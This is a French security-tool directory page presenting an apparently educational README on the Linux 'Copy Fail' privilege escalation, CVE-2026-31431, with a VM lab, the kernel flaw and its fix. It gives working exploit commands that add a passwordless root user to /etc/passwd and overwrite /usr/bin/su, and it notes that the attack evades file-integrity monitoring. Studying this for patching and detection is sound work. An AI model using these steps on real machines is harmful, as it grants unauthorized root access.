Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Une démonstration et une explication de CVE-2026-31431 | Kitploit
Outils/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de Binaires
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Une démonstration et une explication de CVE-2026-31431

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
112il y a 3 moisPas encore vérifié

CVE-2026-31431 CopyFail : élévation de privilèges locale sous Linux

Une démonstration et une explication de CVE-2026-31431, la vulnérabilité d'élévation de privilèges locale « Copy Fail » du noyau Linux. La vulnérabilité permet d'écraser des données dans le cache de pages pour des fichiers ouverts avec une permission de lecture.

Ce dépôt est à but éducatif uniquement et illustre la vulnérabilité dans un environnement contrôlé. Les fichiers inclus sont :

├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

Introduction

La vulnérabilité, nommée Copy Fail, est présente dans les noyaux Linux de 2017 à 2026 en raison d'un défaut logique dans algif_aead. Elle a reçu l'identifiant CVE-2026-31431 avec un score CVSS de 7.8, ce qui correspond à une sévérité élevée. L'exploit est déterministe et peut contourner les outils traditionnels de surveillance de l'intégrité des fichiers.

Des preuves de concept ont été publiées dans plusieurs langages, notamment C, Python et Go, mais cette démonstration utilise Python et nécessite Python version 3.10 ou supérieure. Cet exploit nécessite l'exécution locale de code en tant qu'utilisateur non privilégié et peut être utilisé pour une élévation de privilèges locale.

Les sections ci-dessous sont :

  • Exploitation : Des démonstrations de l'exploit et de la manière dont il peut être utilisé pour obtenir les privilèges root.
  • Note sur la détection de l'exploitation : Une explication des raisons pour lesquelles cet exploit est difficile à détecter avec les outils traditionnels de surveillance de l'intégrité des fichiers.
  • Vulnérabilité : Un lien vers le commit qui a introduit la vulnérabilité et une explication du problème.
  • Correctif : Un lien vers le commit qui a corrigé la vulnérabilité et une explication du correctif.
  • Ressources complémentaires : Une liste de ressources pour approfondir et des implémentations de l'exploit dans différents langages.

Exploitation

Mise en place

Assurez-vous d'avoir Vagrant et QEMU installés. Ensuite, clonez ce dépôt et placez-vous dans le répertoire du projet.

vagrant up
vagrant ssh

À l'intérieur de la VM, nous pouvons tester les limites de nos capacités.

id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

Nous sommes évidemment limités dans nos capacités, mais nous pouvons utiliser la vulnérabilité pour élever nos privilèges.

Démo d'exploitation 1 : Comprendre l'exploit

Pour comprendre la vulnérabilité, écrasons un fichier factice et observons ce qui se passe.

echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Le fichier contient trois lignes. La première ligne fait 6 octets (saut de ligne inclus), la deuxième ligne fait 2 octets et la troisième ligne un seul octet. C'est important car l'exploit écrase les données par blocs de 4 octets, et nous rembourrons la charge utile pour la compléter.

python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Nous pouvons constater que les 8 premiers octets du fichier ont été remplacés par notre charge utile. Deux caractères sont présents mais ne sont pas affichables. Ouvrez le fichier dans nano pour vérifier. Mais ce n'est pas très excitant, passons donc à l'écriture dans des fichiers pour lesquels nous n'avons pas de permission d'écriture.

Démo d'exploitation 2 : Suppression du mot de passe root

Nous pouvons écraser le contenu de /etc/passwd pour ajouter un utilisateur disposant des privilèges root mais sans mot de passe.

cat /etc/passwd

La première ligne contient l'utilisateur root et est composée de 8 groupes de 4 caractères (saut de ligne inclus). Elle est formatée comme suit root:x:0:0:root:/root:/bin/bash, et les valeurs correspondent au nom d'utilisateur, au mot de passe, à l'UID, au GID, au répertoire personnel et au shell.

python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Nous avons ajouté un nouvel utilisateur hackd avec l'UID 0 et le GID 0, ce qui signifie qu'il possède les privilèges root. Le champ mot de passe est vide, nous pouvons donc nous connecter sans mot de passe.

su hackd
id
cat /etc/shadow

Démo d'exploitation 3 : Écrasement d'un exécutable

Dans l'exploit d'origine, le binaire /usr/bin/su est écrasé avec des instructions permettant d'exécuter un shell, ce qui permet à l'attaquant d'obtenir les privilèges root lors de l'exécution de su. Nous pouvons recréer cet exploit en ciblant /usr/bin/su avec la charge utile d'origine provenant d'un fichier. Notez que cela détruit le binaire su dans le cache de pages.

python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Une fois la charge utile en place, nous pouvons exécuter su et obtenir les privilèges root. Cela ouvre un shell avec l'identifiant utilisateur 0, qui correspond généralement à root, mais si la démo ci-dessus a été effectuée, il s'agirait de l'utilisateur hackd que nous avons créé. Cet exploit ouvrirait un shell même si l'utilisateur root possède un mot de passe.

su
id

Note sur la détection de l'exploitation

Cet exploit ne modifie pas le fichier sur disque, mais plutôt l'état du cache de pages. Par conséquent, les outils traditionnels de surveillance de l'intégrité des fichiers qui vérifient les modifications des fichiers sur disque ne détectent pas cet exploit.

Pour le démontrer, exécutez le(s) exploit(s) ci-dessus, puis après un redémarrage de la VM, vérifiez le contenu du fichier cible.

vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

Vulnérabilité

Les composants suivants sont utilisés dans l'exploit :

  1. splice
    • Transfère les données entre descripteurs de fichiers sans copie
    • Modifier un message épissé modifie également le cache de pages
  2. recvmsg
    • Reçoit les informations du tube et déplace les données vers le tampon pour l'opération cryptographique
    • Les entrées AD et CT sont copiées, TAG est passé par référence AD||CT||TAG
  3. authensc
    • Il existe une hypothèse selon laquelle seuls AD et CT sont modifiés, mais aythensc la contredit
    • AD est divisé en seqno_hi et seqno_lo, et authensc inverse leur ordre sur place en les copiant après TAG
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • Cette séquence est ensuite copiée à l'emplacement de référence

Le commit qui a activé l'optimisation sur place à l'origine de cette vulnérabilité :

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

Correctif

Le correctif a été réalisé sans aucune annonce publique et supprime la fonctionnalité de l'opération sur place dans algif_aead :

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

Ressources complémentaires

En savoir plus :

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Implémentations en Python

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431
Télécharger l’outil